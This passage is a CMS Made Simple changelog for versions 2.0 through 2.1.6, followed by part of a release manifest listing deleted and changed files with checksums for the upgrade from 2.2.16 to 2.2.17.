  - Modify the template list functionality in edit-design to allow using keyboard control. Space or + to select an item on the left, and right arrow to move.
  - Modify the edit-design functionality to allow clicking on an attached template or stylesheet to edit it.
  - Generic templates now display a usage string.
  - When creating a new template, associate the new template with the default design.
  - Add reset buttons to the filter forms.
  - No longer check for default content block in a template.
  - Adds the ability to export a template to a file within the assets directory, and to import from the assets directory.
  - If a file exists in the assets/templates directory corresponding to a template name, do not allow in-browser editing.
  - Add bulk actions to allow importing and exporting multiple templates.
  - In the template list, if a file exists for a template... display it in the filename column.
  - Adds the ability to export a stylesheet to a file within the assets directory, and to import from the assets directory.
  - If a file exists in the assets/css directory corresponding to a stylesheet name, do not allow in-browser editing.
  - Add bulk actions to allow importing and exporting multiple stylesheets.
  - In the stylesheet list, if a file exists for a stylesheet display it in the filename column.

News v2.51
  - Minor fix to add category.
  - Removes GetNotificationOutput method.
  - Add a task that runs at least every 15 minutes to detect draft articles... create an alert for this.
  - Add an option to never create alerts about draft News articles.
  - Minor optimizations.
  - Adds postdate as parameters in events.
  - now output template help to Navigator.
  - Adds new 'linked file' type field that allows selecting a file using the filepicker.
  - Changes the default summary and detail templates to support the linked_file field type, and uses {thumbnail_url} and {file_url}.

FileManager v1.6.3
  - Move settings to it's own menu item under Site Admin.
  - Fix minor problem with moving a directory.
  - Minor fix to move file functionality.
  - Adds OnFileDeleted event.
  - Adds 'view raw file' icon in each viewable row.
  - Minor formatting changes in file list.
  - Now display clickable path entries for easier navigation.

Search
  - Convert to store all data using the InnoDB engine.
  - Use transactions for the addwords and deletewords stuff for performance.
  - Fix problem with query and record expiry.

AdminSearch v1.0.3
  - Fixes problem with use of 'Use Admin Search' permission.
  - Now searches for matching strings within templates and stylesheets that are stored as files.
  - Now listens to the HasSearchableContent metod when searching content pages.

ModuleManager
  - Now detect if module_custom directories exist and are populated and warn about this before upgrading a module.
  - Minor string changes.
  - Improvements to error handling in the new versions tab.
  - Write a confirmation form for uninstalling a module that displays the UninstallPreMessage or uses a default.
  - Now don't allow disabling / uninstalling myself.
  - Don't hide the upgrades tab when there are no upgrades, but show the number of upgrades in the tab title instead.
  - Now use HTTPS for requests to ModuleRepository.
  - Trigger a hook before exporting a module to XML.

MicroTiny v2.1
  - New version of the tinymce wysiwyg editor.
  - Adds a mailto plugin.
  - Now use the FilePicker module for a filepicker, required rewriting the cmsms_filepicker tinymce plugin.
  - Enable the title attribute on the image plugin.
  - Now uses PUBLIC_CACHE_LOCATION for cache files instead of hardcoding tmp/cache


Version 2.1.6 - Spanish Wells
----------------------------------
Core - General
  - Now attempt to detect if a template name passed into CmsModule::GetTemplateResource() is already a resource string.
  - endswith is now an accepted function in Smarty templates (fixes typo in security policy).
  - Fixes for CmsNlsOperations when using a language detector.
  - Fixes warnings in useroperations.
  - Fixes problem with cms_selflink dir='up' since 2013.
  - Modifies the OneEleven theme to set the meta referrer attribute for security purposes.
  - Modifies the functionality of the CSRF tokens to be more secure (only set the cookie in one location, only set the session variable from the cookie).
  - Increase Admin users list limit.
  - Reduce time limit for daily version check to 3 seconds.
  - cleanValues in Admin log and List Content.
  - Minor fix to the relative_time plugin.
  - Admin menu item URLs can now be built from the remaining members of the object, if not specified.
  - {content_image} and {content_module} now preserve order properly and support the priority attribute.

  - #11198 - Fixes problem with cms_selflink with aliases that starts with a numeric sign.

Content Manager v1.1.4
  - Fix bulk set-non-cachable functionality.
  - Fix a bug wrt content blocks and the adding flag.

Installation Assistant v1.0.4
  - Adds recommended check for ZipArchive.
  - Improves method of determining a temp directory.

ModuleManager v2.0.5
  - Improves functionality if ModuleRepository is not available.

News v2.50.6
  - Minor fix to editing news articles from the Admin interface.


Version 2.1.5 - High Rock
----------------------------------
Core - General
  - Fix fatal error if an extcss stylesheet was placed in the Admin theme.
  - Another minor fix to clearing cached files.
  - Fixes problems where all files (including dot files) had to be writable before creating a module XML file.
  - Fixes minor notice in user operations.
  - Fixes for namespaced modules.
  - Fixes an issue in CmsLayoutTemplate when creating a template from a type.
  - Fixes an issue where a 404 handler error page would not be rendered correctly if for some reason the route did not specify a page id to load.
  - More fixes to cms_url class.
  - Improve the way page aliases are munged when they are supplied.
  - Improve the error generated when a page alias cannot be generated.
  - Minor fixes to the form_start plugin.
  - Minor fixes to generation of moduleinfo.ini.
  - Fix an error message in the autorefresh JavaScript class.
  - Fix problems that could result in uid=1 becoming inactive, and not a member of other groups when edited by another user.
  - Fix query problem in CmsLayoutStylesheetQuery with Mysql 5.7.

  - #11080 - Parameter $adding in GetContentBlockFieldInput always FALSE.
  - #11093 - Bad error message in jquery.cmsms_autorefresh.js.

Content Manager
  - Improve error handling in Edit Content.
  - Fix a problem with the call to GetTabElements.

Design Manager
  - Fix problem with resetting a template back to factory defaults, or creating a new template from factory defaults.

Module Manager
  - Improve the way modules with dependencies are installed and upgraded. (Got rid of the queue stuff).

AdminSearch
  - Use 'Manage Stylesheets' permission, not 'Modify Stylesheets' when searching stylesheets.

Phar Installer
  - Adds missing 'Manage Stylesheets' permission that would not be created on upgrade from 1.12.



Version 2.1.4 - Freetown
----------------------------------
Core - General
  - Fix to the clear_cached_file() method which should fix problems with module installation.
  - Minor tweak to distributed sample htaccess.txt file.

Phar Installer
  - Fixes issues with respect to hanging on step 7 when suhosin PHP addon was installed.
  - Minor PHP7 Fixes.

Module Manager
  - Fixes problems where all files (including dot files) had to be writable before creating a module XML file.


Version 2.1.3 - Black Point
----------------------------------
Core - General
  - Security fix to prevent HTTP_HOST attacks. Many thanks to I-TRACING (www.i-tracing.com) for reporting it!!
  - Remove stub .htaccess files from subdirectories.
  - Update the included sample htaccess.txt file for security.
  - Fix for endless loop when calculating a page alias in utf-8 environments.
  - Fix for endless loop when calculating a page alias and a page name/title ended with -
  - Fixes a notice on the login page.
  - Optimize LoadContentFromId() to be typesafe, and use default page, if the id passed in is invalid.
  - Fix error condition if there were no default default design, or default page template.
  - Fix problem with system verification.

  - #10825 - Admin-account settings don't remember startpage if you set one
  - #10874 - When creating a page and the title has specific characters, CMSMS stops responding
  - #10910 - content and content_module order incorrect Admin page
  - #10911 - 'Use Admin Search' permission not being used in 2.1.2
  - #10921 - Content Field to Display in Name Column not used

AdminSearch v1.0.1
  - Minor fix to permissions checks.

Navigator v1.0.3
  - Improved exception handling on install

News v2.50.5
  - Fix error condition if no results were returned.

Installation Assistant v1.0.3.1
  - Tweaks to README files.
  - Improved error handling in some circumstances.
  - Fix some PHP7 issues.

FileManager
  - #10871 - Filemanager moving folder


Version 2.1.2 - Andros Town
----------------------------------
Core - General
- Minor fix to missing language string stuff
- Fixes to home page preferences
- API documentation fixes (minor)
- Fixes for ajax_content (the Ajax routine behind the parent selector in edit content) to handle ordering inconsistencies
- Remove die statement in is_email
- Minor fix to the relative_time modifier
- Upgrade CMSMailer to 6.2.14
- Now do a check for E_ALL in the system info

News v2.50.4
- Now all field definitions can be deleted
- Minor fix to default action if no results were returned...

ModuleManager v2.0.2
- Revamp module dependency calculations when installing a module
- Minor fix for some notices in install and upgrade modules
- Minor typo fixes
- Minor fixes for PHP7

MenuManager  v1.50.2
- make sure that uninstall cleans up properly

MicroTiny v2.0.3
- minor template fix
- fixes for stylesheet overrides


Version 2.1.1 - Nicholls Town
----------------------------------
Core - General
- Fix the template compiler so that content blocks can be placed within sub templates and detected with the {include} tag
- Fix minor problem with checksum verification
- Fix to the cms_cache_handler class
- Minor fix to SetAllPageHierarchies()
- Correct location where session was started in frontend displays
- Fix the default option for {content_image}
- Modify the locker to use a beacon if supported, when unlocking
- Fix missing permissions when a 1.12 site was upgraded (installation assistant)

CMSContentmanager v1.1
- Minor template changes in edit content wrt. locking
- Adds ability to clear content locks (Admins can clear all locks, regular users can only clear their locks)
- Enhancements to the action to bulk set designs to show only page templates by default, but to optionally show more

DesignManager v1.1.1
- Minor template changes in edit content wrt. locking
- Adds ability to clear template and CSS locks (Admins can clear all locks, regular users can only clear their locks)


Version 2.1 - Bahamas
----------------------------------
Core - General
- Minor performance tweaks to sample htaccess.txt
- Minor fix to the ProcessTemplateFromDatabase module API method.
- Improvements and re-factor the way headers are sent wrt caching
- Add a new method to the ModuleOperations class to allow a module to be within a namespace.
- Enhances the Group class.
- Enhancements and fixes to the cms_url class.
- Modified the $mod->smarty reference to be smarter... it is now deprecated.
- Fixes issue with https requests (#10697)
- Modifies The CmsLayoutTemplate class and CmsLayoutTemplateQuery to allow filtering on listable or non listable
  or setting a template as listable (default) or non listable
- Fixes a problem with styling of the login form if tasks must be run AND a module needs upgrading.
- Fixes to the cloning of templates in CmsLayoutTemplate
- Fixes problem with SetAllHierarchyPositions that cleared the entire cache instead of only the necessary part of it.
- Adds the unloadCancel handler to the lockManager jQuery plugin.
- Moves version.php and include.php inside the lib directory so that they are easier to protect from unwanted direct access.
- Fixes to page alias tests when manually entering a page alias.
- Missing language strings are no longer output to Admin log, but to the debug log.
- Requests for modules that are not installed/enabled, or for invalid actions will now result in 404 errors.
- Fixed problem where restricted content editors could implicitly change the page alias.
- Improvements to the system information page, particularly the bbcode output.
- cms_init_editor, form_start, and cms_action_url plugins are no longer cachable.
- Adds the 'adminonly' option to the {content}, {content_image}, and {content_module} tags to allow only members of the 'Admin' group to manipulate the values of that block.
- Add a trivial check to the sitedown message to make sure that it is not empty.
- Minor fixes for PHP 7

MicroTiny v2.0.2
- Now add page hierarchy to autocomplete text when using the linker.
- Now use $smarty->CreateTemplate for clarity when compling the config template
- Now explicitly assign urls so that they do not get caced by smarty.
- Slightly tweak the default HTML content in the example tab.
- Updated tinymce to the latest 4.2.7 version, included the 'paste' plugin, and turned on 'paste_as_text'.
- Added the ability to enable the table plugin, now distribute the table plugin

CMSContentManager v1.0.2
- Fix problem with pagedefault metadata.
- Fixes for handling no listable templates for a design
- More work with locking.  With only one exception all locking and unlocking is initiated via javascript.
- Minor fix to copycontent

DesignManager v1.1
- Adds ability to toggle the listability of a template.
- Fixes problems with lost changes if there is a syntax error in the template.
- More work with locking.  With only one exception all locking and unlocking is initiated via JavaScript.

News v2.50.3
- Fixes minor issue with pagination in News Admin console.
- Fix errors in the default form template.
- Fixed URL to long issues on redirection after adding/editing article.

Search v1.50.2
- Minor PHP7 fixes.

ModuleManager 2.0.1
- Minor fix to which modules could be uninstalled and deactivated.


Version 2.0.1.1 - Adelaide
----------------------------------
Fix to the $this->smarty magic method in the module class to resolve to the action template or the global Smarty.


Version 2.0.1 - Adelaide
----------------------------------
Core - General
- Improved optimization in ContentOperations::SetAllHierarchyPositions.
- Fixed return type of ContentOperations::GetPageIdFromAlias().
- Help for the {cms_html_options} plugin.
- Change the default page template to use {Navigator}.
- Explicitly force $smarty->fetch() to create a new template, and therefore a new scope. Keep track of scopes in a stack.
- Change prototype to CMSModule::DoActionBase to pass in the current template object.
- SITENAME is now assigned as a Smarty global.
  (fixes some variable scope issues)
- Fix problem with changing content types.
- Fix problem with CmsLayoutTemplateQuery wrt the editable option, that generated an SQL error.
  (resolves problems where people have additional editor access to templates, but no other design manager permissions).
- Fix minor JavaScript errors in plugin (error checking).
- Fix problems where If assign was passed to a {content} tag, do not pass it to the module on a mact request.
- Implements the completely forgotten 403 exception stuff and the IsPermitted content method.
- Improve the cmsms_dirtyform jQuery plugin to support the unload handler and an onUnload callback.
- Fixed the jQuery page selector plugin when the current value points to an invalid page,  and fixes for asynchronous Ajax.
- Adds a globally available cms_busy() JavaScript function for the Admin.
- Fix problem with html entitites in email addresses in user settings.
- Fix problem with {content cssname=string} and quotes.
- Changed cmsms plugins to use $smarty->getTemplateVars() instead of $smarty->get_template_vars() because of scope issues.
- Minor fix to {form_start} when not used in a module.
- Improved error handling for cms_stylesheet.  Now will generate a message in the Admin log, and an html comment on error.

CMSContentManager v1.0.1
- Fixes for changing content types.
- Adds a title for some contextual help if a template is not available for a content item.
- Clear any locks if an exception occurred while submitting a content item.
- Improvements to error handling with apply and preview.
- Content list now refreshes every 30 seconds to display up-to-date lock information.

DesignManager v1.0.1
- Clear the type_default flag when copying a template.
- Clear any locks if an exception occurred while submitting a template.
- Clear any locks if an exception occurred while submitting a stylesheet.
- Template and stylesheet lists now refresh every 30 seconds to display up-to-date lock information.
- Fixes for design exporting templates with protocol-less URLs in them.

MenuManager v1.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).

Navigator v1.0.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).
- Minor change to the help ($node->children_exist)

Search v1.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).

News v2.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).
- Fix problem with custom fields not being assigned in fesubmit.
- Fix minor problem with html entities in the detail template parameter.

FileManager v1.5.1
- Fix minor problem with Smarty scope in the drop zone.


Version 2.0 - Australia
----------------------------------
+++ Initial Release +++
MANIFEST.DAT                                                                                        0000666                 00000616162 14441653613 0006333 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       MANIFEST GENERATED: 1686591357
MANIFEST FROM VERSION: 2.2.16
MANIFEST FROM NAME: Truro
MANIFEST TO VERSION: 2.2.17
MANIFEST TO NAME: Iqaluit
DELETED :: c1343427a15458c024494caa3a1e9bc3 :: \lib\phpmailer\class.phpmailer.php
DELETED :: c708aa1378554c94e8f41c202db5468f :: \lib\phpmailer\class.phpmaileroauth.php
DELETED :: 58bde497cccfc3615bdc87ee68750351 :: \lib\phpmailer\class.phpmaileroauthgoogle.php
DELETED :: 36fd1f07e9161bbf02d6456892dc6b24 :: \lib\phpmailer\class.pop3.php
DELETED :: eaf2322fced76ad1bd3e3d1e9e4e35df :: \lib\phpmailer\class.smtp.php
DELETED :: 67cfa9dcb9ca31ce855911e35f7d78fc :: \lib\phpmailer\composer.lock
DELETED :: 42aa2293ad53110d8530b3320b0eb418 :: \lib\phpmailer\language\phpmailer.lang-br.php
DELETED :: 11e65c3b0d68cf7257818f2f89464e63 :: \lib\phpmailer\language\phpmailer.lang-cz.php
DELETED :: 2f2b474f532ab2ee3d92395f3c5b0e0c :: \lib\phpmailer\language\phpmailer.lang-dk.php
DELETED :: a1b040e0649c7af0a015632f7412a73a :: \lib\phpmailer\language\phpmailer.lang-no.php
DELETED :: 1cd8ba8b4125cb428c99fae5d8702158 :: \lib\phpmailer\language\phpmailer.lang-se.php
DELETED :: 3f1b1ab356dfd845d5ebf74ef0b56d99 :: \lib\phpmailer\language\phpmailer.lang-si.php
DELETED :: 406617e590cff6cbd11c69f4a9c6c972 :: \lib\phpmailer\PHPMailerAutoload.php
DELETED :: fce1a50fa6f5a5a31d8d1cb6a4fc6d52 :: \lib\smarty\plugins\shared.mb_wordwrap.php
DELETED :: f4a1c16069fed7db16bd18ec23a6cd7e :: \lib\smarty\SmartyBC.class.php
DELETED :: 20ffbb78ad3e038ddfb588e6c7e55a99 :: \lib\smarty\sysplugins\smarty_config_source.php
DELETED :: 70341d83ea4d159d6a994db9d50014fe :: \lib\smarty\sysplugins\smarty_internal_compile_include_php.php
DELETED :: ed4fff5141d521db75289f82720b52d4 :: \lib\smarty\sysplugins\smarty_internal_compile_private_php.php
DELETED :: 67ba0e2b63fa9f26567de1c27e2996f5 :: \lib\smarty\sysplugins\smarty_internal_config.php
DELETED :: 9cbaa14ca680c747253f5c8c36bdf677 :: \lib\smarty\sysplugins\smarty_internal_filter_handler.php
DELETED :: 689b43f69c9cd3f244ca51e78a4db191 :: \lib\smarty\sysplugins\smarty_internal_function_call_handler.php
DELETED :: a254a209e5526b908eb2b87835c459e5 :: \lib\smarty\sysplugins\smarty_internal_get_include_path.php
DELETED :: f96c17a98939b7c04fc7dd1893cc1a41 :: \lib\smarty\sysplugins\smarty_internal_resource_registered.php
DELETED :: cd69f07c30b629c0a5cda17ce859a3ae :: \lib\smarty\sysplugins\smarty_internal_utility.php
DELETED :: b426067049627418a9954a8f0ce947a5 :: \lib\smarty\sysplugins\smarty_internal_write_file.php
CHANGED :: e589848b0cb1145320ac5b907a3c9920 :: \admin\.htaccess
CHANGED :: f911637a32ce9fb37989e56a69f47f75 :: \admin\addbookmark.php
CHANGED :: 4aecfd68358e25b115c841193df4484b :: \admin\addgroup.php
CHANGED :: df73195fd58dfd2f794a45ac59d69daa :: \admin\adduser.php
CHANGED :: c848a271a51a04fe687988d97e36a0e0 :: \admin\adminlog.php
CHANGED :: 8894824460a6e25ba877e18751384517 :: \admin\ajax_alerts.php
CHANGED :: eb7ab8680b11cbaaf647f9a6efa34902 :: \admin\ajax_content.php
CHANGED :: d9989f55f4c9573264c74b2725996542 :: \admin\ajax_help.php
CHANGED :: 870484b0abd52c3d1e2d76f6257c0b30 :: \admin\ajax_lock.php
CHANGED :: 22698a8d7502d9dbc3046805a9179ad2 :: \admin\changegroupassign.php
CHANGED :: a1d89acd6a61be9a231bfc3dfcd9506f :: \admin\changegroupperm.php
CHANGED :: 90859ae5fc90ba26d67716dc28bae42f :: \admin\checksum.php
CHANGED :: 388e48075a0d8aa4b362e47e0389e406 :: \admin\cms_js_setup.php
CHANGED :: 057c6a828db724d35a86b8b755474839 :: \admin\deletebookmark.php
CHANGED :: 39b88c4466ad9b7d084b674be880e732 :: \admin\deletegroup.php
CHANGED :: 18e265fc43fe2b8af349c4f9bcb14f42 :: \admin\deleteuser.php
CHANGED :: 181bc0de2fda2ce4edf5538418d95f98 :: \admin\deleteuserplugin.php
CHANGED :: 0aac7935f98e5c33542131afc71c34ea :: \admin\editbookmark.php
CHANGED :: 4df9c95afdcc707d4c0eb2665825e9cf :: \admin\editevent.php
CHANGED :: 4c2c140829ce7ce6ec50f323bfd117e5 :: \admin\editgroup.php
CHANGED :: 3ec7df184bdecba2f717359dd1717fb9 :: \admin\edituser.php
CHANGED :: 707a3744f1ca9e7a60f83cc6c95eab88 :: \admin\editusertag.php
CHANGED :: 890dd8a1df7fcef05b60a55fd33f6df3 :: \admin\eventhandlers.php
CHANGED :: 0d96926fbfe2cfec69d5bb55fa66e69d :: \admin\footer.php
CHANGED :: 5d445e2326f6d4c7c3eedba5512b86bb :: \admin\header.php
CHANGED :: 3ce32c615ed98ff31219f3302fcc4b41 :: \admin\index.php
CHANGED :: dbcc78b388511df78dbb78cca458df75 :: \admin\lang\en_US.php
CHANGED :: d086bb0b946a73082465f18a44f050ee :: \admin\lang\ext\af_ZA.php
CHANGED :: 1e50f66420b46cdf23b515c8013a8968 :: \admin\lang\ext\ar_AR.php
CHANGED :: 5e68a99f403d0956f9fcdcfae844069c :: \admin\lang\ext\bg_BG.php
CHANGED :: 69898d51a124417266ccff0d9cd63dbb :: \admin\lang\ext\ca_ES.php
CHANGED :: 6de8704d51b651359b599fd2017ac358 :: \admin\lang\ext\cs_CZ.php
CHANGED :: 0f32fcfbe95ceb4a3e0c30519a1d1c13 :: \admin\lang\ext\da_DK.php
CHANGED :: ba7255f8bf53b80e557baee0fc9883f6 :: \admin\lang\ext\de_DE.php
CHANGED :: 24094096b4c1746fe32f47279967c979 :: \admin\lang\ext\el_GR.php
CHANGED :: d4a5369206103e14d09febc197cef886 :: \admin\lang\ext\en_CY.php
CHANGED :: c5630ae2322e2236f90d11c6d1949694 :: \admin\lang\ext\eo_UY.php
CHANGED :: 2afd872a34146f96ca29790ca1ece108 :: \admin\lang\ext\es_ES.php
CHANGED :: 6200307df92385c383eb5501cd2e141f :: \admin\lang\ext\et_EE.php
CHANGED :: 64a9092957d5a29419bea20929597ef9 :: \admin\lang\ext\eu_ES.php
CHANGED :: dff01ab1d5dadebba6c925d39db67390 :: \admin\lang\ext\fa_FA.php
CHANGED :: 923328e9123dcec2dc035d027129a304 :: \admin\lang\ext\fa_IR.php
CHANGED :: 951e3e6588b582d8b8a5725b5569b199 :: \admin\lang\ext\fi_FI.php
CHANGED :: 37c57910902d0a0e95efff14c57c8472 :: \admin\lang\ext\fr_FR.php
CHANGED :: 90e396f6693fb799c895d6d218a93464 :: \admin\lang\ext\gl_GL.php
CHANGED :: ae4f9df9fa63e6327c73ccb1a0493495 :: \admin\lang\ext\hr_HR.php
CHANGED :: ba83a5688a1d1d19beb4cd25d4cec728 :: \admin\lang\ext\hu_HU.php
CHANGED :: f11e50d4b5a4b4e3349cad65fe0990a3 :: \admin\lang\ext\id_ID.php
CHANGED :: bc9e38d673297538eb053194774b5853 :: \admin\lang\ext\is_IS.php
CHANGED :: c99d909394ca4ac742b37d36de4b83a4 :: \admin\lang\ext\it_IT.php
CHANGED :: e8d9207a0d0791b5b3f6ca7be7cd4694 :: \admin\lang\ext\iw_IL.php
CHANGED :: a2ea3eb2bca69329b4127718a29839a0 :: \admin\lang\ext\ja_JP.php
CHANGED :: 08bd8e1db30d3d2cd524733a1d446222 :: \admin\lang\ext\kz_KZ.php
CHANGED :: 334e5b20968866e0284607bcb920a14e :: \admin\lang\ext\lt_LT.php
CHANGED :: 0d4b8156df6730432edf4e946aab17ca :: \admin\lang\ext\mn_MN.php
CHANGED :: 2ed1125291de99f23a0135a8d162e96c :: \admin\lang\ext\nb_NO.php
CHANGED :: 7aeafe43d627e216293f4d2dd0b32565 :: \admin\lang\ext\nl_NL.php
CHANGED :: 9936fd1e16715f9ebfd86a15a153c4a2 :: \admin\lang\ext\pl_PL.php
CHANGED :: 5b09643005c816da3a3cf10347d7c5e8 :: \admin\lang\ext\pt_BR.php
CHANGED :: 531c855cd854f37c30612b603d38f9c3 :: \admin\lang\ext\pt_PT.php
CHANGED :: d38089e349cf87fcb301642891130786 :: \admin\lang\ext\rm_CH.php
CHANGED :: 24984600f87ae480a703ac05bddaf1b6 :: \admin\lang\ext\ro_RO.php
CHANGED :: bc2baa7821ec4f997c610576e5b5ede3 :: \admin\lang\ext\ru_RU.php
CHANGED :: f8e053c10589a0a99963854df7f435d9 :: \admin\lang\ext\sk_SK.php
CHANGED :: f73900a96083c80a73f6b3593243ae7f :: \admin\lang\ext\sl_SI.php
CHANGED :: d903a7e7fe4a55140c27731538b4eb62 :: \admin\lang\ext\so_SO.php
CHANGED :: c579e9366d65002105e39b777e13bfa0 :: \admin\lang\ext\sr_YU.php
CHANGED :: c128ae830354311fa5018701937ed912 :: \admin\lang\ext\sv_SE.php
CHANGED :: 285b0e437a4f4f96552584e8955fe1eb :: \admin\lang\ext\tr_TR.php
CHANGED :: fb977c5f0f9977c7a797d05cc1dfcf41 :: \admin\lang\ext\uk_UA.php
CHANGED :: ee21ad9cdbf8c798a5902d5c4bb672a0 :: \admin\lang\ext\vi_VN.php
CHANGED :: f1d5f843211bdfe3ca6cea28a9204528 :: \admin\lang\ext\zh_CN.php
CHANGED :: b3f3b325e7241edae60dff436e718bce :: \admin\lang\ext\zh_TW.php
CHANGED :: d5e7c0753dd1459a32876c73656e73ab :: \admin\listbookmarks.php
CHANGED :: c7ebd0f224dca9156a6b29353246ad77 :: \admin\listgroups.php
CHANGED :: 31f842ecc80f4ac551d01873a3af576f :: \admin\listtags.php
CHANGED :: ff0fc7d194e4bb4260f688fc4a9ea1ee :: \admin\listusers.php
CHANGED :: 2f03828b3d7bf8dd1dd69f786745a147 :: \admin\listusertags.php
CHANGED :: eb21ebaf7e81a393b4ccaa44a11fa22f :: \admin\login.php
CHANGED :: a51e9b5a83f19f36b2cd2fc0e817e531 :: \admin\loginstyle.php
CHANGED :: c6be8c013239754cfdbfe76558f7a4f9 :: \admin\logout.php
CHANGED :: 85fe54bcfc439fcea94649b2871984c4 :: \admin\makebookmark.php
CHANGED :: 2c039f8aa2ef0f4d55b0b32a9f6f2b29 :: \admin\moduleinterface.php
CHANGED :: 169a821d3f1b29a1ffff3ce06ecb8f3c :: \admin\myaccount.php
CHANGED :: f90951417f6ab432a29c532865b4d664 :: \admin\plugins\function.admin_icon.php
CHANGED :: 08e847670beaac8fae82e4ef072cc8ce :: \admin\plugins\function.cms_admin_user.php
CHANGED :: 2185748574f2558c603d21800de0a152 :: \admin\plugins\function.cms_filepicker.php
CHANGED :: 59125f1a5c9c1920c28cdf859dc9c03d :: \admin\plugins\function.cms_help.php
CHANGED :: db3b894da0bac0a66ecee7e139720c4b :: \admin\plugins\function.page_error.php
CHANGED :: 296c3cd46c2657cf5d9c3dba1b2069b9 :: \admin\plugins\function.page_selector.php
CHANGED :: 1a171ea22aae9e753bc0d9b1a3df2e13 :: \admin\plugins\function.page_warning.php
CHANGED :: 77d74e937c6fa8e8e045a98755b8440c :: \admin\plugins\function.tab_end.php
CHANGED :: 5db90308a89b44f68a07eada4720a45c :: \admin\plugins\function.tab_header.php
CHANGED :: 38e095f1f7f75aa158a552fa9b0ab683 :: \admin\plugins\function.tab_start.php
CHANGED :: 24fafd995e9d86199ad124212f518cf7 :: \admin\siteprefs.php
CHANGED :: 3de0e7c164a78bfbc336b2fba94f193e :: \admin\style.php
CHANGED :: 38190e9282afdab903eda6314680e9db :: \admin\systeminfo.php
CHANGED :: d0dbbccbb13e3cd06f5fa03c2501091b :: \admin\systemmaintenance.php
CHANGED :: bd41575967afe3253c42ad73d7505f2a :: \admin\templates\adduser.tpl
CHANGED :: 06fa2861dbec80fefdc991c46737e917 :: \admin\templates\adminlog.tpl
CHANGED :: 3b2b654bafc9dbf58536f8f863fbb23f :: \admin\templates\changegroupperm.tpl
CHANGED :: b8f733df104dde8a18fd533320a14a85 :: \admin\templates\changeusergroup.tpl
CHANGED :: 4e33c451527bbadd3037516ff333ecc0 :: \admin\templates\checksum.tpl
CHANGED :: 6abdd4c567de916b19ce699062d5ae2e :: \admin\templates\edituser.tpl
CHANGED :: 54a2a388836ce99db8719e79c58f2eb7 :: \admin\templates\editusertag.tpl
CHANGED :: 161ef1923f0726267e2e427d7fbf354a :: \admin\templates\listtags.tpl
CHANGED :: 5ab72dc425cb86cec2f62a0e2e815be2 :: \admin\templates\listusers.tpl
CHANGED :: a1f3d399343c2a8abd7654840481931a :: \admin\templates\listusertags.tpl
CHANGED :: 3570cdd8a95ffb072fcac51f33278c29 :: \admin\templates\myaccount.tpl
CHANGED :: acb399509c6b67a83baa78c1c0b8d547 :: \admin\templates\ordercontent.tpl
CHANGED :: d62ac28129e9f4560f9066b9dde44472 :: \admin\templates\ordercontent_tree.tpl
CHANGED :: 8ffe33c71e676e3e68b33314ead6ca13 :: \admin\templates\orig_page_template.tpl
CHANGED :: 6c8c4020cbf109bee04e287bd49ad804 :: \admin\templates\siteprefs.tpl
CHANGED :: cd1854bad005b1a5851fc641d29bc0d2 :: \admin\templates\systeminfo.tpl
CHANGED :: c372a6bcd1f90fd83b006f8d7c92a76d :: \admin\templates\systeminfo.txt.tpl
CHANGED :: 017c6dbd5a6efb4017c90bc94415ff74 :: \admin\templates\systemmaintenance.tpl
CHANGED :: 2b912f7c0653008ca28ebacda49025e7 :: \admin\themes\OneEleven\css\default-cmsms\images\animated-overlay.gif
CHANGED :: 087f421d344855021408ef5af34bdf2a :: \admin\themes\OneEleven\css\default-cmsms\images\ui-bg_flat_0_aaaaaa_40x100.png
CHANGED :: 07f3ba43e70abc5a9c2b93b92093b352 :: \admin\themes\OneEleven\css\default-cmsms\images\ui-bg_flat_75_ffffff_40x100.png
CHANGED :: 6b19225d4fa4da623ddf89574bfc6070 :: \admin\themes\OneEleven\css\default-cmsms\images\ui-bg_glass_55_fbf9ee_1x400.png
CHANGED :: b78f876e52b5fe053f5322f99a7b5520 :: \admin\themes\OneEleven\css\default-cmsms\images\ui-bg_highlight-soft_25_232323_1x100.png
CHANGED :: 007782e59a762ea69162eb103c19dcc3 :: \admin\themes\OneEleven\css\default-cmsms\images\ui-bg_highlight-soft_65_ffffff_1x100.png
CHANGED :: a0b57503e96f29afa167b5a3eeb15499 :: \admin\themes\OneEleven\css\default-cmsms\images\ui-bg_highlight-soft_75_cecece_1x100.png
CHANGED :: 2b7934a9de4d693130eeb5ddb62de4d4 :: \admin\themes\OneEleven\css\default-cmsms\images\ui-bg_highlight-soft_75_fa8004_1x100.png
CHANGED :: 9f06a9f3e405a441094d0cc5e95e8c3b :: \admin\themes\OneEleven\css\default-cmsms\images\ui-bg_inset-soft_95_fef1ec_1x100.png
CHANGED :: 18f3f9ec185da50871a247b8bcfca128 :: \admin\themes\OneEleven\css\default-cmsms\images\ui-icons_147fdb_256x240.png
CHANGED :: 718adb865639de6e636d6dd08c827b7e :: \admin\themes\OneEleven\css\default-cmsms\images\ui-icons_232323_256x240.png
CHANGED :: 5c78585b80fbf4342d21674a04e89c8b :: \admin\themes\OneEleven\css\default-cmsms\images\ui-icons_cd0a0a_256x240.png
CHANGED :: 3f1313b8ea6a1992b03b5d742a6e32f7 :: \admin\themes\OneEleven\css\default-cmsms\images\ui-icons_fa8004_256x240.png
CHANGED :: e3f4748b19b87aadaa924d85f0882432 :: \admin\themes\OneEleven\css\default-cmsms\images\ui-icons_ffffff_256x240.png
CHANGED :: ca31ca0aae4e7a5fcc60f76391119566 :: \admin\themes\OneEleven\css\default-cmsms\jquery-ui-1.10.4.custom.min.css
CHANGED :: 9623579c7d90bc4948c703743df814d5 :: \admin\themes\OneEleven\css\style-rtl.css
CHANGED :: b2b9d986d46963c5f021e9582e03c4a9 :: \admin\themes\OneEleven\css\style.css
CHANGED :: 8813d60e74aaa618408b6103baa04384 :: \admin\themes\OneEleven\doc\AUTHORS.txt
CHANGED :: 01e501560971681cfa79014db3a8ea36 :: \admin\themes\OneEleven\doc\dashboard-screen.JPG
CHANGED :: 4c4d761bb1d20afdb0026ee9baf17037 :: \admin\themes\OneEleven\doc\dashboard-small-screen.JPG
CHANGED :: 46e9be876fa10ea0b31dbe5ddc61806a :: \admin\themes\OneEleven\doc\grid.html
CHANGED :: bb59813e316737b3ae0d174cc3f704f4 :: \admin\themes\OneEleven\doc\login-screen.JPG
CHANGED :: c7ec9867aa0210a076501e92f83726b2 :: \admin\themes\OneEleven\doc\README.txt
